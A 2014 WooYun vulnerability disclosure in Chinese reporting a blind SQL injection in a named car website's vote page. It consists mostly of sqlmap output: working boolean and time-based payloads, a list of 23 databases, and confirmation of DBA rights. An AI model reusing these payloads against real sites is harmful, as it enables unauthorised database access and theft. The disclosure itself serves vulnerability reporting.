[公开漏洞]网上车市DBA类型SQL注入一枚可能涉及全部表

网上车市DBA类型SQL注入一枚可能涉及全部表 相关厂商： 网上车市 漏洞作者：追逐天堂 提交时间：2014-06-17 16:22 公开时间：2014-06-22 16:22 漏洞类型：SQL注射漏洞 危害等级：高 自评Rank：20 漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞 漏洞来源：http://www.wooyun.org Tags标签： php+数字类型注射 漏洞详情 披露状态：

2014-06-17：细节已通知厂商并且等待厂商处理中
2014-06-22：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

上课找洞，是不道德的

详细说明：

注入地址：http://app.cheshi.com/2010vote/vote.php?id=56

漏洞证明：

sqlmap identified the following injection points with a total of 52 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=56 AND 8281=8281



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=56 AND SLEEP(5)

---

back-end DBMS: MySQL 5.0.11

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=56 AND 8281=8281



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=56 AND SLEEP(5)

---

back-end DBMS: MySQL 5.0.11

available databases [23]:

[*] api

[*] api_queue

[*] appstore

[*] bbsold

[*] commondata

[*] information_schema

[*] mobile_app

[*] mysql

[*] performance_schema

[*] play

[*] register

[*] research

[*] seller_hd

[*] seller_hd_tmp

[*] special

[*] spider

[*] test

[*] topic

[*] topic_tmp

[*] uchome

[*] usercenter

[*] vchat

[*] zhaopin



sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=56 AND 8281=8281



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=56 AND SLEEP(5)

---

back-end DBMS: MySQL 5.0.11

current user is DBA: True

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=56 AND 8281=8281



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=56 AND SLEEP(5)

---

back-end DBMS: MySQL 5.0.11

current database: 'topic'

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=56 AND 8281=8281

修复方案：

你比我强.......

版权声明：转载请注明来源 追逐天堂@乌云 漏洞回应 厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-17 16:22

厂商回复：

最新状态：

暂无